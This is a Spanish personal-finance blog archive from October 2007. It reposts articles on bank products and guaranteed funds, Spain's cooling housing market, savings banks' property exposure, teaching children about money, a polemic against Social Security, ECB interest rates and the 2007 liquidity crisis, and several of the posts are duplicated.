Si mantiene una postura de ignorancia sin complejos obligará al otro a explicarle las cosas, y solamente se explican bien las cosas si se sabe de ellas.
En segundo lugar: sepa como funciona el negocio. Un banco o una caja de ahorros es una estructura compleja. En España el sector bancario es una industria muy eficiente, quizás de las más eficientes del mundo, pero eso no implica que le vayan a dar un buen servicio, sino que la banca funciona a todo gas. Una sucursal está a las órdenes de la central de red e intenta alcanzar los objetivos que les marcan presionando mucho. La central de red dispone de unos productos para vender diseñados por ella misma o por otras divisiones de la entidad. Los productos se ponen a disposición de la red para ser comercializados. Una sucursal es una oficina comercial, nada más. En la medida que la central adiestre bien a sus comerciales y les de unas buenas directrices éstos darán un buen servicio a su cliente final. Esto último ocurre, pero no todas las veces.
El banco le conoce. Las entidades bancarias se caracterizan por conocer extraordinariamente bien a su cliente y gastan su buen dinero en ello, lo que es lógico en cualquier negocio. Como también es lógico intentará maximizar para sí el beneficio, pero esto no quiere decir que a cualquier precio. El banco lucha por mantener un equilibrio entre el máximo beneficio y la fidelidad de su cliente y esto lo busca de muchas formas: desde el “tengo que vender estos fondos de inversión que si no me echan”, vínculo emocional entre el comercial de la sucursal y el cliente, a “si hace un plan de pensiones tenemos estas estupendas promociones a elegir” y claro, con lo bonita que es la nevera de camping, como me voy a negar.
Con esto podemos concluir una regla de oro para el inversor ignoto que se adentra en una oficina bancaria: si le enseñan un jamón, una batería de cocina, el perrito nadador o similar, huya.
Garantizados, deuda estructurada y otros líos
Aquí es donde funciona bastante bien la actitud de Forrest Gump, pregunte cómo, cuando y de qué forma gana dinero, con ejemplos reales. En esta ocasión se juega con la aversión al riesgo del inversor. La idea es sencilla, usted no pierde el principal, pero si pasa ‘tal cosa’ puede ganar mucho. En la práctica los inconvenientes de los garantizados son varios: no puedo hacer líquida mi inversión cuando quiera y, el conjunto de circunstancias que tienen que darse para tener una rentabilidad razonable suele no darse.
Imagínese que con su dinero compra deuda y se gasta los intereses en un producto de altísimo riesgo. No pierde el principal, ciertamente, pero es que para hacer eso no hace falta meterse en líos, que en muchos casos se parecen al antiguo vendedor de peines que había en algunas bocas de metro.
El éxito que los fondos garantizados tienen en el mercado español es, sencillamente brutal, la razón es, posiblemente, una excelente práctica comercial. En el pasado ha habido muchos casos con rendimientos bianuales de un 1% o un 2% y en realidad solo van bien cuando la bolsa sufre unas revalorizaciones de escándalo. Si la bolsa se mueve poco (aún sin caer) la rentabilidad se viene abajo. La bolsa da unos saltos terribles, si no se puede elegir el momento de salida estaré a merced de la ‘ventana’ por la que puedo hacer liquidez. Otra desventaja es que por circunstancias puedo necesitar el dinero y en tal caso eso solamente podré hacerlo a costa de una comisión de reembolso que volatiliza la rentabilidad que pueda haber obtenido o más.
Hagamos un ejercicio sencillo. El Ibex, en lo que va de año se ha revalorizado la escalofriante cifra de un 43%. Una cartera normal tendría en riesgo aproximadamente un 20%, lo que implica que la parte de riesgo me habría proporcionado un 10,8% del total de mi capital. Por otra parte el resto me habría proporcionado una rentabilidad, digamos de un 3,5%. Tendría un total de un 11,46%. Es cierto que habría estado expuesto a riesgo, dado que tendría un 20% en fondos referenciados al Ibex, pero es que para encontrar un garantizado que me de, no ya un 12 sino un 10% habría que haber tenido la puntería de Lucky Luke. Busque las rentabilidades de los garantizados y se asombrará de la enorme cantidad que no llegan ni al 4%, y eso con la bolsa como un tiro, imagínese si, simplemente, se hubiera quedado quieta.
Fuente: Finanzas23 de octubre de 2007
Mileurista por un mes
Un empresario italiano sube el sueldo a sus empleados tras comprobar que con su salario no llegaba a fin de mes.
Como si de un Robin Hood del siglo veintiuno se tratase, el empresario italiano Enzo Rossi, de 42 años, ha decidido subir el sueldo de sus empleados en doscientos euros netos al mes, después de haber intentado sobrevivir son su salario y llegar sólo hasta el día 20.
"Es justo tomar más de los ricos para dárselo a los pobres", ha declarado a la edición digital del diario italiano La Repubblica. El empresario se asignó un sueldo de mil euros para sí y otros mil para su mujer, que también trabaja en la sociedad, aunque reconoce que esos dos mil euros de ingresos son superiores, incluso, a los que tienen algunas de las familias de sus empleados.
Rossi, director de la fabrica de pasta Campofilone, explica que decidió hacer la experiencia porque "estamos volviendo al siglo XIX cuando en mi pueblo había condes y barones, por un lado, y aparceros, por el otro, y se decía que los cerdos nacían sin piernas porque los jamones debían ir a los señores". Y añade: "En los últimos decenios la vida de los trabajadores creció y la diferencia con las otras clases sociales había disminuido. Pero ahora se está volviendo atrás y hay que remediarlo", aseguró.
El empresario comenta que no ha sido capaz de llegar al día 20 después de haber pagado las facturas del agua, el gas, el seguro del automóvil y haber tenido cuidado en el gasto cotidiano. "Eso significa que en un año entero habría estado sin dinero durante 120 días al año; eso no sólo es pobreza, es también desesperación", afirma. "Me he sentido como uno cuando se sumerge en el mar a veinte metros de profundidad y descubre que la bombona de oxígeno se ha agotado".
Rossi, explica que en los dos últimos años los beneficios de su empresa han ido bien y, por tanto, "no es justo que el único en disfrutarlos sea yo". Y aunque este revolucionario no se define marxista, sino ex de derechas, sentencia: La plusvalía generada de la transformación de la harina y de los huevos debe dar también beneficios a los agricultores que me dan la materia y a los trabajadores de la fábrica".
18 de octubre de 2007
Los datos de Vivienda auguran lo peor: la primera caída real de precios desde la crisis de los 90
“¿Aterrizaje suave? Sí, sobre un bosque lleno de pinos”, ironiza un analista inmobiliario a la luz de los precios de la vivienda que hizo públicos ayer el Ministerio de Carme Chacón. No hace falta que lo diga el FMI. Los datos oficiales reflejan que los precios de la vivienda se han congelado en el tercer trimestre, pese a haber subido un 5,3% en términos interanuales. Para más inri, en once provincias españolas y en cuatro comunidades, las casas son más baratas en septiembre que en junio. De confirmarse esta tendencia, veremos en los próximos trimestres caídas de los precios de la vivienda a nivel general, algo que no ocurría en este país desde la anterior crisis de los 90.
Fernando Encinar, director de comunicación de Idealista, que no duda en calificar el aterrizaje de “brusco” opina que “el dato del tercer trimestre de 2007 es un parpadeo, una ponderación de zonas que se mantienen con otras que están cayendo, como ya veníamos adelantando. Lo importante a partir de ahora es la tendencia. Y lo que indica la tendencia es que los españoles tienen que quitarse la idea de la cabeza de que el precio de la vivienda nunca baja”. Encinar prevé caídas reales de los precios en los próximos trimestres.
“La última gran crisis que el sector recuerda fue la de los años 90. La sensación que tenía la gente es que los precios de la vivienda se congelaron, pero los precios reales cayeron entre un 15% y un 20%. Esta situación vino acompañada de un deterioro importante de la economía y de un fuerte incremento del paro”, explica.
Mikel Echevarren, consejero delegado de Irea, estima la caída real de los precios inmobiliarios entre los años 91 y 96 en un 26%. Precisamente, sobre aquella situación y su comparación con la actual versó parte de su ponencia en el foro que la consultora celebró ayer. “Entonces se seguían transmitiendo los mismos mensajes que ahora: el mantra de que los precios nunca bajan”, recuerda.
“Del 92 al 93, los precios de la vivienda cayeron un 12% en términos interanuales, a razón de un 3% por trimestre”, asegura Ricardo Vergés, a partir de los datos del Ministerio de Fomento de entonces.
Malos datos para Zaragoza, Lugo y Valencia
¿Y qué ha pasado este verano, según Vivienda? El metro cuadrado construido de once provincias españolas y de cuatro comunidades autónomas es hoy más barato que tres meses antes. Es el caso de Navarra (-3,1%), Galicia y Aragón (-1,5%) y Comunidad Valenciana (-0,2%). Las provincias que han visto cómo los precios han caído más en este trimestre han sido Zaragoza (-2,2%), Lugo (-1,5%), y Valencia (-1,1%). Destacar asimismo que La Rioja es la única comunidad que ha registrado una caída interanual del 1,9%.
Los datos de transacciones inmobiliarias (compraventa) en el primer trimestre y de viviendas iniciadas del segundo también abundan en la desaceleración pronunciada. Así, de enero a marzo de 2007, el número de compraventas de viviendas iniciadas fue de 221.284 unidades, un 5% menos. Más de la mitad (55,9%) fueron de segunda mano. El número de viviendas compradas por los residentes españoles fue de 191.260, lo que supone el 86,4%, por los residentes extranjeros 26.395 (11,9%), por los no residentes 2.596 (1,2%) y otros casos 1.033 (0,5%).
En cuanto a las viviendas iniciadas, en el segundo trimestre de 2007, el número fue de 139.732 unidades, con una caída del 15,4% respecto al segundo trimestre de 2006. En los últimos doce meses, se han iniciado 630445 viviendas, un 5,3% menos que en los doce meses de 2006.
Para hacernos una idea de lo ‘suave’ que es el aterrizaje de los precios, el propio Ministerio destaca que cuando se creó, en abril de 2004, los precios subían un 18,4%, un 70% más que actualmente. Y es que, según señala Vivienda, la subida interanual del 5,3% es el crecimiento más bajo experimentado desde 1998.
Fuente: ElConfidencial
17 de octubre de 2007
Enseñar a los niños lo que es el dinero
¿Dejamos a nuestros hijos que aprendar a ahorrar en lugar de gastarlo todo? ¿Lo que significa el dinero? ¿Lo que cuesta ganarlo? ¿Como hacer que trabaje para nosotros? ¿O dejamos que lo aprendan en la universidad?
Pienso que al igual que para aprender a montar en bicicleta, hay que dejarlos que practiquen ellos solos y que incluso tengan alguna caida, su própia gestión del dinero disponible es algo que deberian de aprender bastante antes de llegar a la universidad.
Y aunque parezca que es un tema tabú, al igual que en muchas familias el tema del sexo, hablar de dinero es algo que no deberia darnos vergüenza, tengamos mas ó tengamos menos. Tan importante es saber que tienen que estudiar para poder trabajar y ganarlo, tambien que no pueden gastarse todo lo que ingresan y que tienen que buscar la mejor forma de ahorrar para el futuro, aunque sea para comprarse una bicicleta nueva ó una videoconsola para las próximas navidades.
Tendemos a darles lo mismo que recibiamos de nuestros padres, una pequeña asignación semanal que practicamente no nos llegaba a la semana siguiente, siendo lo primero que aprendiamos el como habia que pedir un nuevo adelanto. Ademas, esa pequeña asignación se complementaba con las "extras" que nos daba mamá cuando necesitabamos algo mas. ¿Qué es preferible dar a un niño?, 5 Euros semanales, ó 25 Euros y permitirle que tome sus própias decisiones sobre como administrarlo.
Creo que la segunda opción es mejor, pero antes hay que hablar con ellos sobre qué hacer con él, las formas de ahorro que tienen disponible, posibles pequeñas inversiones, etc. La idea es que aprendan cuanto antes sobre la responsabilidad que tienen sobre su dinero y las consecuencias de sus decisiones.
El fondo de inversión ó cuenta de ahorro de nuestro hijo, con un saldo de 50 ó 100 Euros tendrá unas tasas de retorno, que sinceramente lo aburrirán, y estará deseando gastarse el dinero ya, porque el banco apenas le dará nada. Tenemos que involucrarnos nosotros y ofrecerles una cuenta en lo que podemos llamar "el Banco de Papa". Nosotros guardaremos el dinero y le podemos ofrecer, por ejemplo, un 5% mensual. Contando con un ahorro de 100 Eur, obtendrá 5 Euros adicionales cada mes, detalle que ya deberia de activar su interés por las gestiones económicas.
Para quien tenga mas interés por estas ideas, puede echar un vistazo al libro The First National Bank of Dad
en Amazón.
Fuente: Trading blog
Pienso que al igual que para aprender a montar en bicicleta, hay que dejarlos que practiquen ellos solos y que incluso tengan alguna caida, su própia gestión del dinero disponible es algo que deberian de aprender bastante antes de llegar a la universidad.
Y aunque parezca que es un tema tabú, al igual que en muchas familias el tema del sexo, hablar de dinero es algo que no deberia darnos vergüenza, tengamos mas ó tengamos menos. Tan importante es saber que tienen que estudiar para poder trabajar y ganarlo, tambien que no pueden gastarse todo lo que ingresan y que tienen que buscar la mejor forma de ahorrar para el futuro, aunque sea para comprarse una bicicleta nueva ó una videoconsola para las próximas navidades.
Tendemos a darles lo mismo que recibiamos de nuestros padres, una pequeña asignación semanal que practicamente no nos llegaba a la semana siguiente, siendo lo primero que aprendiamos el como habia que pedir un nuevo adelanto. Ademas, esa pequeña asignación se complementaba con las "extras" que nos daba mamá cuando necesitabamos algo mas. ¿Qué es preferible dar a un niño?, 5 Euros semanales, ó 25 Euros y permitirle que tome sus própias decisiones sobre como administrarlo.
Creo que la segunda opción es mejor, pero antes hay que hablar con ellos sobre qué hacer con él, las formas de ahorro que tienen disponible, posibles pequeñas inversiones, etc. La idea es que aprendan cuanto antes sobre la responsabilidad que tienen sobre su dinero y las consecuencias de sus decisiones.
El fondo de inversión ó cuenta de ahorro de nuestro hijo, con un saldo de 50 ó 100 Euros tendrá unas tasas de retorno, que sinceramente lo aburrirán, y estará deseando gastarse el dinero ya, porque el banco apenas le dará nada. Tenemos que involucrarnos nosotros y ofrecerles una cuenta en lo que podemos llamar "el Banco de Papa". Nosotros guardaremos el dinero y le podemos ofrecer, por ejemplo, un 5% mensual. Contando con un ahorro de 100 Eur, obtendrá 5 Euros adicionales cada mes, detalle que ya deberia de activar su interés por las gestiones económicas.
Para quien tenga mas interés por estas ideas, puede echar un vistazo al libro The First National Bank of Dad
en Amazón.Fuente: Trading blog
11 de octubre de 2007
Ojo con las cajas
Un 70% de los créditos de las cajas está expuesto al negocio inmobiliario, según refleja el Boletín Estadístico del Banco de España. Esto supone una concentración de riesgos preocupante en un escenario como el actual. Así lo ha recogido Moody´s al advertir que cinco entidades iban a ser castigadas con una rebaja de sus ratings. De hecho, desde hace semanas corren por los mentideros económicos de la villa insistentes rumores, reales o imaginarios, sobre la salud de algunas instituciones financieras, en especial, la de algunas cajas importantes. Sea cierto o no, la realidad es que la apuesta inmobiliaria de las cajas no parece responder a la prudencia. De hecho, se han comportado como las «Saving and Loans» americanas a finales de los ochenta del siglo pasado y ya saben como terminó la historia.
Sería lamentable que fuese precisa la crisis de una o varias cajas de un cierto tamaño para poner de manifiesto la necesaria reforma de esas singulares corporaciones. Sin un control efectivo por parte del mercado de capitales y/o de los accionistas, la buena o mala marcha de las cajas depende tan sólo del sentido común de sus gestores y sus administradores. Permitir que más de la mitad del sistema financiero repose sobre una garantía tan frágil es peligroso. Eso se visualizará si los efectos de la «tormenta» terminan por afectar de manera sensible a alguna caja. Esas situaciones críticas son las que llevan siempre a adoptar cambios en este santo país.
El futuro de las cajas pasa por su desmutualización o por cualquier otra formula que las fuerce a someterse al control del mercado. Si esto no se hace, antes o después, tendremos problemas. Ojalá que la tormenta no golpee de manera contundente a ninguna caja, pero esperemos el temor a que eso pueda ocurrir haga que los reguladores hayan visto las «orejas al lobo» y actúen. En cualquier caso, una concentración de créditos hipotecarios como la poseída por las cajas es para echarse a temblar.
Fuente: LaRazón
Sería lamentable que fuese precisa la crisis de una o varias cajas de un cierto tamaño para poner de manifiesto la necesaria reforma de esas singulares corporaciones. Sin un control efectivo por parte del mercado de capitales y/o de los accionistas, la buena o mala marcha de las cajas depende tan sólo del sentido común de sus gestores y sus administradores. Permitir que más de la mitad del sistema financiero repose sobre una garantía tan frágil es peligroso. Eso se visualizará si los efectos de la «tormenta» terminan por afectar de manera sensible a alguna caja. Esas situaciones críticas son las que llevan siempre a adoptar cambios en este santo país.
El futuro de las cajas pasa por su desmutualización o por cualquier otra formula que las fuerce a someterse al control del mercado. Si esto no se hace, antes o después, tendremos problemas. Ojalá que la tormenta no golpee de manera contundente a ninguna caja, pero esperemos el temor a que eso pueda ocurrir haga que los reguladores hayan visto las «orejas al lobo» y actúen. En cualquier caso, una concentración de créditos hipotecarios como la poseída por las cajas es para echarse a temblar.
Fuente: LaRazón
8 de octubre de 2007
El timo colosal de la Seguridad Social
Uno de los mejores modos de hacerse muchos enemigos en muy poco tiempo es defender en público la supresión de la seguridad social mediante la privatización de los dos servicios esenciales que presta: la atención médica y las pensiones de jubilación. No es extraño. Con el cuento de la Seguridad Social los políticos han hecho su mejor negocio en varios siglos. El sistema ofrece al Estado una terna de poderes difícilmente igualable. Mantener un seguro social implica, por un lado, una fiscalidad altísima que, además, tiene patente para crecer eternamente porque con la salud –nos dicen- no se juega. Semejante atraco tiene como consecuencia principal la creación y enaltecimiento de un elefantiásico aparato burocrático cuyo objetivo será aumentar en número y perpetuarse casi sin límite. Expoliado el ciudadano de una buena parte de su renta y establecido con firmeza el leviatán funcionarial el político recoge entonces el fruto final de todo el invento; una poderosísima herramienta de control social, una inmensa red de clientela que, como un pulpo, asfixia a toda la sociedad y una magnífica coartada para seguir haciendo propaganda sin rubor de las bondades del Estado.
Pero, ¿siempre ha sido así? ¿Cuándo se inventó el Seguro Social y por qué? ¿Se moría la gente abandonada por la calle antes de que a esa lumbrera se le encendiese la bombilla? ¿Se suicidaban los trabajadores mayores de 60 años ante la insoportable perspectiva de su retiro? No. La Seguridad Social es un invento maligno pero relativamente reciente. Antes de que los políticos consiguiesen imponerlo por la fuerza existían mutuas de trabajadores del mismo oficio que ponían en común un fondo para asegurarse la asistencia sanitaria en caso de accidente y algo de dinero para la jubilación. De hecho, y aunque suene irónico, se trata del mismo modelo que siguen ahora los funcionarios públicos, verdadera casta laboral que vive al margen del propio paraíso que ellos gestionan. Lógico, el que mejor puede cuidar de la propia salud es uno mismo destinando una cantidad mensual y gestionando los riesgos de la mejor manera que puede aunque, como es obvio, no sea siempre la más adecuada. El Seguro Social, por el contrario, rompe con el sentido común y obliga a una parte de la población a pagar la asistencia a la otra. Es como si usted, que acaba de comprarse un coche gracias a una combinación de esfuerzo y ahorro, tuviese que aportar un dinero todos los meses para que un individuo que no conoce y que no conocerá en su vida pueda adquirir un automóvil. Muchos dirán que no es lo mismo un coche que la salud. Quizá no lo sea para ellos, pero en la escala de prioridades de muchos un automóvil deportivo tiene mucho más valor que tener a su disposición un podólogo gratis toda la vida. Es una cuestión de preferencias y, en eso, cada uno tiene las suyas.
Pero el sistema no termina su ración de injusticia en la asistencia sanitaria, eso sería pecado venial. Para garantizarse la clientela de por vida los padres del Seguro Social se apoderaron de las pensiones, es decir, los ahorros capitalizados de toda una vida para hacer frente a la vejez. Las pensiones públicas fulminan el concepto mismo de ahorro pues el pagador no ahorra un solo euro, se limita a satisfacer una cantidad para cubrir la pensión de los que hoy están jubilados. Esto, en los seguros privados, tiene un nombre; se llama estafa y los responsables van directos a la cárcel. El Estado, en cambio, lo puede hacer y hasta permitirse recordarnos de tanto en tanto que la pensión no la tenemos garantizada porque no hay caja sino una cañería por donde fluye mensualmente lo que unos pagan y otros reciben. Siendo injusto, cuando la pirámide demográfica es una pirámide propiamente dicha el sistema, mal que bien, funciona. El problema surge cuando la pirámide se invierte o se torna una columna en la que hay tantos habitantes de 30 años como de 60. En esas estamos en casi todos los países de Europa. Pronto tocaremos a un jubilado por trabajador. Entonces, ambos extremos de la cañería vivirán en perenne estado de cabreo. Los unos porque pagan mucho y no le ven mucho sentido a financiar la jubilación a alguien que no sea su padre o su tío. Los otros porque cobran poco, poquísimo, mucho menos de lo que pusieron cuando se encontraban activos. El único que habrá ganado con la transacción será el Estado que tendrá a los dos cogidos por el cuello, sin posibilidad de escapar y sometidos a mil y una amenazas.
¿Cómo puede, entonces, mantener su lozanía un sistema tan injusto, un tinglado que cambia euros por céntimos y que casi nadie se atreve a poner en solfa? En parte por la clientela que crea a su alrededor. A muchos les reconforta saber que reciben mucho más de lo que aportan y para una buena parte de jubilados la pensión es un regalo porque no ahorraron nada cuando estaban trabajando. Al resto, a los que sospechan del timo, se les bombardea con cantidades ingentes de propaganda en la que la palabra solidaridad hace su agosto. Desconfíe, la solidaridad o es voluntaria o no es. El Seguro Social es de suscripción obligatoria luego de solidario tiene poco, de robo, sin embargo, mucho. Si está trabajando no pase por el aro y niéguese a que obliguen a pagar la Sanidad a otros. Si está jubilado reclame su dinero, es lo menos que puede hacer tras toda una vida de sacrificio.
Fuente: DiazVillanueva
Pero, ¿siempre ha sido así? ¿Cuándo se inventó el Seguro Social y por qué? ¿Se moría la gente abandonada por la calle antes de que a esa lumbrera se le encendiese la bombilla? ¿Se suicidaban los trabajadores mayores de 60 años ante la insoportable perspectiva de su retiro? No. La Seguridad Social es un invento maligno pero relativamente reciente. Antes de que los políticos consiguiesen imponerlo por la fuerza existían mutuas de trabajadores del mismo oficio que ponían en común un fondo para asegurarse la asistencia sanitaria en caso de accidente y algo de dinero para la jubilación. De hecho, y aunque suene irónico, se trata del mismo modelo que siguen ahora los funcionarios públicos, verdadera casta laboral que vive al margen del propio paraíso que ellos gestionan. Lógico, el que mejor puede cuidar de la propia salud es uno mismo destinando una cantidad mensual y gestionando los riesgos de la mejor manera que puede aunque, como es obvio, no sea siempre la más adecuada. El Seguro Social, por el contrario, rompe con el sentido común y obliga a una parte de la población a pagar la asistencia a la otra. Es como si usted, que acaba de comprarse un coche gracias a una combinación de esfuerzo y ahorro, tuviese que aportar un dinero todos los meses para que un individuo que no conoce y que no conocerá en su vida pueda adquirir un automóvil. Muchos dirán que no es lo mismo un coche que la salud. Quizá no lo sea para ellos, pero en la escala de prioridades de muchos un automóvil deportivo tiene mucho más valor que tener a su disposición un podólogo gratis toda la vida. Es una cuestión de preferencias y, en eso, cada uno tiene las suyas.
Pero el sistema no termina su ración de injusticia en la asistencia sanitaria, eso sería pecado venial. Para garantizarse la clientela de por vida los padres del Seguro Social se apoderaron de las pensiones, es decir, los ahorros capitalizados de toda una vida para hacer frente a la vejez. Las pensiones públicas fulminan el concepto mismo de ahorro pues el pagador no ahorra un solo euro, se limita a satisfacer una cantidad para cubrir la pensión de los que hoy están jubilados. Esto, en los seguros privados, tiene un nombre; se llama estafa y los responsables van directos a la cárcel. El Estado, en cambio, lo puede hacer y hasta permitirse recordarnos de tanto en tanto que la pensión no la tenemos garantizada porque no hay caja sino una cañería por donde fluye mensualmente lo que unos pagan y otros reciben. Siendo injusto, cuando la pirámide demográfica es una pirámide propiamente dicha el sistema, mal que bien, funciona. El problema surge cuando la pirámide se invierte o se torna una columna en la que hay tantos habitantes de 30 años como de 60. En esas estamos en casi todos los países de Europa. Pronto tocaremos a un jubilado por trabajador. Entonces, ambos extremos de la cañería vivirán en perenne estado de cabreo. Los unos porque pagan mucho y no le ven mucho sentido a financiar la jubilación a alguien que no sea su padre o su tío. Los otros porque cobran poco, poquísimo, mucho menos de lo que pusieron cuando se encontraban activos. El único que habrá ganado con la transacción será el Estado que tendrá a los dos cogidos por el cuello, sin posibilidad de escapar y sometidos a mil y una amenazas.
¿Cómo puede, entonces, mantener su lozanía un sistema tan injusto, un tinglado que cambia euros por céntimos y que casi nadie se atreve a poner en solfa? En parte por la clientela que crea a su alrededor. A muchos les reconforta saber que reciben mucho más de lo que aportan y para una buena parte de jubilados la pensión es un regalo porque no ahorraron nada cuando estaban trabajando. Al resto, a los que sospechan del timo, se les bombardea con cantidades ingentes de propaganda en la que la palabra solidaridad hace su agosto. Desconfíe, la solidaridad o es voluntaria o no es. El Seguro Social es de suscripción obligatoria luego de solidario tiene poco, de robo, sin embargo, mucho. Si está trabajando no pase por el aro y niéguese a que obliguen a pagar la Sanidad a otros. Si está jubilado reclame su dinero, es lo menos que puede hacer tras toda una vida de sacrificio.
Fuente: DiazVillanueva
5 de octubre de 2007
Los vendedores bajarán hasta un 20% el precio de sus pisos
La caída del boom inmobiliario empieza a preocupar a los propietarios de pisos en venta. Así, mientras que hace años era impensable que los propietarios bajaran el precio de sus pisos en más de un 5%, ahora estos empiezan a ceder ante la caída de la demanda y están dispuestos a realizar rebajas de precios en las viviendas de segunda mano de hasta un 20% en lo que queda de año. Así al menos lo asegura la Red de Expertos Inmobiliarios (REI), que además, augura que esta tendencia se mantendrá también en 2008.
Este cambio de tendencia ha hecho que sean ahora los potenciales compradores los
que empiecen a coger la sartén por el mango. Una sartén que hasta hace muy poco tiempo era exclusiva del vendedor. Por esta razón, la REI, que agrupa a casi 200 agencias inmobiliarias, asegura que “es un buen momento para comprar una vivienda”, ya que incluso “se puede escoger piso”, mientras que “hace tres años se compraba lo que había”.
Así, el presidente de la organización, Eduardo Molet, afirmó que se acabaron los tiempos de los bajos e interiores oscuros y mal distribuidos. “Actualmente, al haber más oferta, se están vendiendo los pisos altos, áticos, soleados, con vistas, etc.”, añadió. Además, considera que son dos “significativos” los que explican las ventajas que tienen ahora los potenciales compradores: el escenso del número de transacciones y el considerable aumento de pisos en venta.
Sin embargo, desde la Red Expertos Inmobiliarios no confían en que se mantenga la caída de la demanda a largo plazo ya que la cultura de la compra está bien anclada en un país donde el 87% de los españoles vive en una casa en propiedad y en el que
la compra es sinónimo de inversión. Además, según Molet, las actuales políticas de
alquiler, en alusión al Plan de Ayuda a la Emancipación y al Fomento del Alquiler del
Ministerio de Vivienda, “tampoco ayudarán a invertir significativamente esta tendencia”.
Fuente: negocio & estilo de vida
Este cambio de tendencia ha hecho que sean ahora los potenciales compradores los
que empiecen a coger la sartén por el mango. Una sartén que hasta hace muy poco tiempo era exclusiva del vendedor. Por esta razón, la REI, que agrupa a casi 200 agencias inmobiliarias, asegura que “es un buen momento para comprar una vivienda”, ya que incluso “se puede escoger piso”, mientras que “hace tres años se compraba lo que había”.
Así, el presidente de la organización, Eduardo Molet, afirmó que se acabaron los tiempos de los bajos e interiores oscuros y mal distribuidos. “Actualmente, al haber más oferta, se están vendiendo los pisos altos, áticos, soleados, con vistas, etc.”, añadió. Además, considera que son dos “significativos” los que explican las ventajas que tienen ahora los potenciales compradores: el escenso del número de transacciones y el considerable aumento de pisos en venta.
Sin embargo, desde la Red Expertos Inmobiliarios no confían en que se mantenga la caída de la demanda a largo plazo ya que la cultura de la compra está bien anclada en un país donde el 87% de los españoles vive en una casa en propiedad y en el que
la compra es sinónimo de inversión. Además, según Molet, las actuales políticas de
alquiler, en alusión al Plan de Ayuda a la Emancipación y al Fomento del Alquiler del
Ministerio de Vivienda, “tampoco ayudarán a invertir significativamente esta tendencia”.
Fuente: negocio & estilo de vida
4 de octubre de 2007
Los tipos se quedan en el 4%
Por segundo mes consecutivo el BCE no ha subido los tipos de interés, con la diferencia de que ahora no había apenas dudas. La inflación sigue al acecho (en España hemos vuelto a niveles cercanos al 3% y en pocos meses previsiblemente estaremos por encima de dicha cifra) pero hay otros nubarrones en el horizonte que impiden de momento seguir subiendo los tipos.
Por un lado tenemos la crisis de liquidez, que crea muchas presiones en el BCE para que no suba los tipos (presiones incluso políticas). Por otro tenemos a la Fed, que al bajar los tipos nos ha llevado a un tipo de cambio entre el dólar y el euro récord. Y si subimos los tipos en Europa posiblemente batiríamos nuevas marcas.
Así están las cosas, con la inflación a la vuelta de la esquina y con pocas posibilidades de que los tipos suban. De todas formas aunque los tipos sigan en el 4%, debido a la falta de liquidez bancaria para el público en general es como si estuvieran más altos, ya que el Euribor a largo plazo se comporta como si el tipo oficial de interés fuera el 4,5%.
Fuente: El EconomistaPEPE, MARUJA Y DIETER HELMUTH
Relato sobre cómo Pepe y Maruja necesitan de Dieter Helmuth para satisfacer sus necesidades y caprichos.
Las actuales turbulencias de los mercados financieros y las bolsas de valores se adjudican a la “falta de liquidez”. ¿Qué es eso y porqué influye tanto en nuestras vidas?. Veamos.
Pepe y Maruja decidieron hace tres años irse a vivir juntos y solicitaron una préstamo (hipotecario) para la compra de su vivienda. Del banco salieron muy contentos, pues les dieron el 100% de importe requerido, 150.000 € y con TAE del 3.25%. Mientras tomaban un aperitivo para celebrar el acontecimiento, leían en el periódico que la inflación interanual era de 4.25% ¡que chollo! comentaban entre risas, la inflación me paga un 30% de la casa!. Un año después deciden comprar un segundo coche y hacer un viaje al Caribe; recientemente cambiaron el SEAT IBIZA por un BMW. Siempre estuvo ahí el “banco amigo” financiando sus necesidades y caprichos.
Pero ¿Quién es en realidad él que le presta el dinero a nuestra joven pareja?. El banco, amigo mió, es un simple intermediario; en realidad quien les presta el dinero es Dieter Helmuth, un comerciante alemán con gran capacidad de ahorro que tiene depositado su dinero en una entidad bancaría alemana. ¡Pepe y Maruja nunca llegaron a suponer que en realidad no era el “banco amigo”, sino un desconocido alemán el prestamista.
Pero Dieter lógicamente, quiere para sus ahorros de 150.000 € el mejor interés, ¡y quien no!, y en su “banco amigo” (en este caso alemán) le aconsejan colocar su patrimonio un Fondo de Inversión “que invierte en deuda diversificada con garantía hipotecaria bien calificada por Moddy´s”, que en el último ejercicio tuvo una rentabilidad del 35% anual. También le ofrecen una emisión de Obligaciones Convertibles que ha lanzado su propio banco para disponer de liquidez y emprender una campaña agresiva de crédito hipotecario a bajo costo destinado a inmigrantes (créditos de baja calidad, las hoy famosas Subprime).
Como hace pocos meses cualquier producto financiero subía sin parar y el desprecio por el riesgo era total, nadie hacia caso a la letra pequeña: “rentabilidades pasadas no suponen rentabilidades futuras” ni tampoco de las garantías de la inversión, Dieter decide “diversificar” su capital entre los dos productos, que son en realidad el mismo perro con distinto collar. La rentabilidad anualizada del capital de Dieter rondaría el 35% según su gestor financiero.
Bien, razonemos, ¿Cómo puede ser que Dieter perciba por el mismo capital que Pepe y Maruja solicitaron en préstamo 35% de rendimiento, cuando la joven pareja paga por el dinero 3,25%; eso significa que Dieter ingresa exactamente ¡el 1.000% mas! de lo que paga la pareja. Sí, no es un error, ¡es un horror!. Ningún sistema de crédito puede durar con esas premisas eternamente, si bien es cierto que durante siete años funcionó, la ingeniería fingiera tiene sus límites.
En que situación nos encontramos hoy; Pepe y Maruja ya están pagando por su crédito el 5.25%, les pesa, pero lo pueden pagar, auque tienen miedo de no poder hacerlo en el futuro y deciden reducir gastos. Dieter está acojonado, porque con la que esta cayendo le ha entrado pánico y vendió su Fondo de Inversión y liquido las Obligaciones Negociables, para lo cual el “banco amigo” le ha tendido que entregar cash que era lo que exigía Dieter.
Como Dieter hay cientos de miles y si todos corren al banco a retirar su dinero, el sistema colapsa y se cae; de momento no hay nada de eso pero …… ahí esta el N Rock, todo un banco Ingles que vio como sus clientes hacían cola en la puerta del banco, mientras la cotización de N Rock en el la bolsa de Londres bajaba un 80%.
Si ser alarmistas, la realidad es que la plaza se “ha secado” de dinero; los potenciales futuros pepes y marujas ya no se animan a ir al banco a pedir “lo suyo”, pues tienen miedo de no poder hacer frente a la hipoteca; los dieter tiene miedo y no confía en lo que su banco les ofrece, y los pepes y marujas desconfían de la bonanza económica y no gastan mas que lo justo; y como el miedo es libre ……..todos desconfían de todos.
Conclusión: al escasear el dinero por la falta de confianza de todos los operadores, el volumen del negocio financiero se reduce, y como la financiación es el combustible de toda la economía, la actividad decae, ¿Cuánto? ¿Hasta cuando? Nadie lo sabe. Cuando lo que falta es la confianza, nadie se atreve a poner un límite, aunque modestamente creo que la sangre no llegará al río.
Fuente: Articulos del conejo
